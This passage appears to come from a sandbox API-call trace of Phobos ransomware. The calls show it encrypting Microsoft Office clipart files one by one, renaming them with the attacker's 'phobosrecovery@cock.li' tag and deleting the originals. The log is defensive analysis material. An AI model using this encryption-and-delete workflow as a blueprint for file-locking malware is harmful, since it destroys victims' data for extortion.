(normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0180.811] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d18d0) returned 1 [0180.811] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0180.811] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x332, lpOverlapped=0x0) returned 1 [0180.847] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x340, dwBufLen=0x340 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x340) returned 1 [0180.847] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x340, lpOverlapped=0x0) returned 1 [0180.847] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1710) returned 1 [0180.847] CryptSetKeyParam (hKey=0x1d1710, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0180.847] CryptEncrypt (in: hKey=0x1d1710, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0180.847] CryptDestroyKey (hKey=0x1d1710) returned 1 [0180.847] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0180.848] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0180.848] CloseHandle (hObject=0x2c4) returned 1 [0180.848] CloseHandle (hObject=0x2ec) returned 1 [0180.848] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0180.849] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0180.849] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0180.849] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=14688) returned 1 [0180.849] CloseHandle (hObject=0x2ec) returned 1 [0180.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220 [0180.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0180.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0180.850] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0180.850] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0180.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0180.851] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d18d0) returned 1 [0180.851] CryptSetKeyParam (hKey=0x1d18d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0180.851] ReadFile (in: hFile=0x2ec, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x3960, lpOverlapped=0x0) returned 1 [0180.922] CryptEncrypt (in: hKey=0x1d18d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x3970, dwBufLen=0x3970 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x3970) returned 1 [0180.922] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x3970, lpOverlapped=0x0) returned 1 [0180.923] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1410) returned 1 [0180.923] CryptSetKeyParam (hKey=0x1d1410, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0180.923] CryptEncrypt (in: hKey=0x1d1410, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0180.923] CryptDestroyKey (hKey=0x1d1410) returned 1 [0180.923] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0180.923] CryptDestroyKey (hKey=0x1d18d0) returned 1 [0180.923] CloseHandle (hObject=0x2ec) returned 1 [0180.924] CloseHandle (hObject=0x2c4) returned 1 [0180.924] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1 [0180.927] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0180.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0180.928] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=13538) returned 1 [0180.928] CloseHandle (hObject=0x2c4) returned 1 [0180.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x220 [0180.928] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0180.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0180.928] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0180.928] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0180.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0180.929] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1610) returned 1 [0180.929] CryptSetKeyParam (hKey=0x1d1610, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0180.929] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x34e2, lpOverlapped=0x0) returned 1 [0181.083] CryptEncrypt (in: hKey=0x1d1610, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x34f0, dwBufLen=0x34f0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x34f0) returned 1 [0181.083] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x34f0, lpOverlapped=0x0) returned 1 [0181.084] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d19d0) returned 1 [0181.084] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0181.084] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0181.084] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0181.084] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0181.084] CryptDestroyKey (hKey=0x1d1610) returned 1 [0181.084] CloseHandle (hObject=0x2c4) returned 1 [0181.084] CloseHandle (hObject=0x2ec) returned 1 [0181.084] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0181.086] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0181.086] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0181.087] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=5798) returned 1 [0181.087] CloseHandle (hObject=0x2ec) returned 1 [0181.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220 [0181.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0181.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0181.088] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0181.088] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0181.088] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0181.088] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d19d0) returned 1 [0181.088] CryptSetKeyParam (hKey=0x1d19d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0181.088] ReadFile (in: hFile=0x2ec, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x16a6, lpOverlapped=0x0) returned 1 [0181.761] CryptEncrypt (in: hKey=0x1d19d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x16b0, dwBufLen=0x16b0 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x16b0) returned 1 [0181.761] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x16b0, lpOverlapped=0x0) returned 1 [0181.947] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1850) returned 1 [0181.947] CryptSetKeyParam (hKey=0x1d1850, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0181.947] CryptEncrypt (in: hKey=0x1d1850, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0181.947] CryptDestroyKey (hKey=0x1d1850) returned 1 [0181.947] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0181.947] CryptDestroyKey (hKey=0x1d19d0) returned 1 [0181.947] CloseHandle (hObject=0x2ec) returned 1 [0181.947] CloseHandle (hObject=0x2c4) returned 1 [0181.947] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0181.949] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0181.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0181.949] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=3718) returned 1 [0181.949] CloseHandle (hObject=0x2c4) returned 1 [0181.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x220 [0181.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0181.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0181.950] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0181.950] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0181.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0181.950] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d16d0) returned 1 [0181.950] CryptSetKeyParam (hKey=0x1d16d0, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0181.950] ReadFile (in: hFile=0x2c4, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0xe86, lpOverlapped=0x0) returned 1 [0182.085] CryptEncrypt (in: hKey=0x1d16d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xe90, dwBufLen=0xe90 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0xe90) returned 1 [0182.085] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xe90, lpOverlapped=0x0) returned 1 [0182.086] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1510) returned 1 [0182.086] CryptSetKeyParam (hKey=0x1d1510, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.086] CryptEncrypt (in: hKey=0x1d1510, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0182.086] CryptDestroyKey (hKey=0x1d1510) returned 1 [0182.086] WriteFile (in: hFile=0x2ec, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0182.087] CryptDestroyKey (hKey=0x1d16d0) returned 1 [0182.087] CloseHandle (hObject=0x2c4) returned 1 [0182.087] CloseHandle (hObject=0x2ec) returned 1 [0182.087] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00546_.wmf")) returned 1 [0182.089] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2f9f9e0 | out: pbBuffer=0x2f9f9e0) returned 1 [0182.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0182.089] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2f9f980 | out: lpFileSize=0x2f9f980*=1400) returned 1 [0182.089] CloseHandle (hObject=0x2ec) returned 1 [0182.089] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 0x220 [0182.090] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0182.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0182.090] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.090] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f920 | out: lpNewFilePointer=0x0) returned 1 [0182.090] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0182.097] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8d8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f934 | out: phKey=0x2f9f934*=0x1d1590) returned 1 [0182.097] CryptSetKeyParam (hKey=0x1d1590, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.097] ReadFile (in: hFile=0x2ec, lpBuffer=0x350b020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f95c, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesRead=0x2f9f95c*=0x578, lpOverlapped=0x0) returned 1 [0182.108] CryptEncrypt (in: hKey=0x1d1590, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x580, dwBufLen=0x580 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x580) returned 1 [0182.108] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0x580, lpOverlapped=0x0) returned 1 [0182.109] CryptImportKey (in: hProv=0x1a67b8, pbData=0x2f9f8cc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f9f938 | out: phKey=0x2f9f938*=0x1d1a10) returned 1 [0182.109] CryptSetKeyParam (hKey=0x1d1a10, dwParam=0x1, pbData=0x2f9f9e0, dwFlags=0x0) returned 1 [0182.109] CryptEncrypt (in: hKey=0x1d1a10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40, dwBufLen=0x40 | out: pbData=0x350b020*, pdwDataLen=0x2f9f8f8*=0x40) returned 1 [0182.109] CryptDestroyKey (hKey=0x1d1a10) returned 1 [0182.110] WriteFile (in: hFile=0x2c4, lpBuffer=0x350b020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f940, lpOverlapped=0x0 | out: lpBuffer=0x350b020*, lpNumberOfBytesWritten=0x2f9f940*=0xf2, lpOverlapped=0x0) returned 1 [0182.110] CryptDestroyKey (hKey=0x1d1590) returned 1 [0182.110] CloseHandle (hObject=0x2ec) returned 1 